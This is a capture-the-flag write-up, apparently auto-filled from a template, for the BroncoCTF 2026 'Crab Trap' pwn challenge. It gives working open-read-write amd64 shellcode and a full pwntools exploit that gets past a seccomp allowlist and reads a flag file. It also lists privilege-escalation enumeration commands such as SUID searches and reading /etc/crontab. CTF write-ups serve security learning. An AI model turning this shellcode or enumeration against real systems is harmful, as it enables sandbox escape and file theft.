Crab Trap
Crab Trap
Platform: Broncoctf2026 | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-07-11 | Status: Solved Techniques: direct_syscall_chain, orw_shellcode, seccomp_allowlist_bypass, stack_string_build
Summary
Task: remote x86-64 shellcode runner installs a strict seccomp allowlist (only open/read/write) then jumps to user bytes; execve is blocked. Solution: classic ORW shellcode — build 'flag.txt' on the stack, open(2)->read(0)->write(1) — bypassing the allowlist without execve. Gotcha: the flag is at the RELATIVE path flag.txt, not any absolute path.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
broncoctf2026| ID:20260711_broncoctf2026_crab_trap - Tags: shellcode, seccomp, open_read_write, relative_path, orw, amd64, allowlist
- Indicators: no execve mentioned in prompt, Strict Sea Policy / seccomp filter, raw shellcode runner with 512-byte limit, banner names allowlist: open, read
- Source:
20260711_broncoctf2026_crab_trap.md
Foothold
Vulnerability / Misconfiguration
- Direct_syscall_chain
- Orw_shellcode
- Seccomp_allowlist_bypass
- Stack_string_build
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- direct_syscall_chain
- orw_shellcode
- seccomp_allowlist_bypass
- stack_string_build
- Tags: shellcode, seccomp, open_read_write, relative_path, orw, amd64, allowlist
Original Writeup
<details><summary>Click to expand original content</summary>Description
Mr. Krabs has heard about these so-called "shellcode hackers" trying to break into his secret vault. So he hired the barnacles. They said no execve. Something about a "Strict Sea Policy." You'll need to get creative if you want that flag.
Remote target: nc 0.cloud.chals.io 34381 (alias broncoctf-crab-trap.chals.io).
English summary: A remote x86-64 Linux shellcode runner prints an ASCII banner and a > prompt, reads one raw shellcode blob (max 512 bytes), reports the swallowed byte count ("Nom nom... swallowed N bytes. Deploying the Barnacle Barrier..."), installs a strict seccomp allowlist, then jumps directly to the supplied bytes. The goal is to read the flag despite execve being blocked.
Analysis
Semantic clues in the prompt map directly to the mechanism:
- "Crab Trap" / "barnacles" / "shellcode hackers" = a shellcode sandbox trap.
- "no execve" = the classic
push "/bin/sh"; execveshellcode is dead. - "Strict Sea Policy" = strict seccomp syscall filtering.
Behavior of the service under the filter:
- The seccomp allowlist permits only three syscalls:
open(2),read(0),write(1).execveand friends are blocked. - Because
open,read, andwriteare all allowed, plain ORW (open -> read -> write) shellcode works out of the box. Noopenat2trick, no pre-opened-fd assumption, noexitsyscall needed after writing. - The pipeline was verified first by reading
/etc/passwdviaopen -> read -> write, confirming syscalls 2/0/1 fire under the filter and return data.
The main gotcha was the flag path. Absolute paths (/flag, /flag.txt, /app/flag.txt, /home/ctf/flag) do not exist. The flag is at the relative path flag.txt (the service's CWD), so open("flag.txt", O_RDONLY) is what succeeds.
Solution
Send a short ORW shellcode after the > prompt. The shellcode:
- Builds the NUL-terminated string
"flag.txt"on the stack. open(rsp, O_RDONLY=0, 0)->rax = fd(mov eax, 2; syscall)read(fd, rsp, 256)(xor eax, eax; syscall)write(1, rsp, nbytes)(mov eax, 1; syscall)
The whole payload is ~59 bytes, well under the 512-byte cap.
Raw ORW opcode sequence (amd64), building flag.txt on the stack:
xor eax, eax ; NUL terminator
push rax
movabs rax, 0x7478742e67616c66 ; "flag.txt" little-endian
push rax
mov rdi, rsp ; path = &"flag.txt"
xor esi, esi ; O_RDONLY
xor edx, edx ; mode 0
mov eax, 2 ; SYS_open
syscall ; rax = fd
mov edi, eax ; fd
mov rsi, rsp ; buffer (reuse stack)
mov edx, 256 ; count
xor eax, eax ; SYS_read = 0
syscall ; rax = bytes read
mov edx, eax ; count = bytes read
mov edi, 1 ; fd = stdout
mov rsi, rsp ; buffer
mov eax, 1 ; SYS_write = 1
syscall ; leak flag to stdout
Full working exploit (pwntools + keystone; keystone assembles the raw amd64 opcodes so it stays portable on macOS, which usually has no GNU amd64 assembler available to pwntools):
#!/usr/bin/env python3
from pwn import *
from keystone import Ks, KS_ARCH_X86, KS_MODE_64
context.arch = "amd64"
context.os = "linux"
HOST = args.HOST or "0.cloud.chals.io"
PORT = int(args.PORT or 34381)
PATH = (args.PATH or "flag.txt").encode()
# Strict seccomp permits only open(2), read(0), and write(1). Raw opcodes keep
# this portable on macOS, where pwntools usually has no amd64 GNU assembler.
chunks = [PATH[i:i+8].ljust(8, b"\0") for i in range(0, len(PATH), 8)]
ins = ["xor eax,eax", "push rax"]
for chunk in reversed(chunks):
ins += [f"movabs rax, 0x{int.from_bytes(chunk, 'little'):x}", "push rax"]
ins += [
"mov rdi,rsp", "xor esi,esi", "xor edx,edx", "mov eax,2", "syscall",
"mov edi,eax", "mov rsi,rsp", "mov edx,256", "xor eax,eax", "syscall",
"mov edx,eax", "mov edi,1", "mov rsi,rsp", "mov eax,1", "syscall",
]
sc = bytes(Ks(KS_ARCH_X86, KS_MODE_64).asm(";".join(ins))[0])
assert len(sc) <= 512
p = remote(HOST, PORT)
p.recvuntil(b"> ")
p.send(sc)
print(p.recvall(timeout=5).decode(errors="replace"), end="")
Run: python3 exploit.py (optionally HOST=... PORT=... PATH=flag.txt). The
service reads flag.txt relative to its CWD and writes the contents to stdout.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR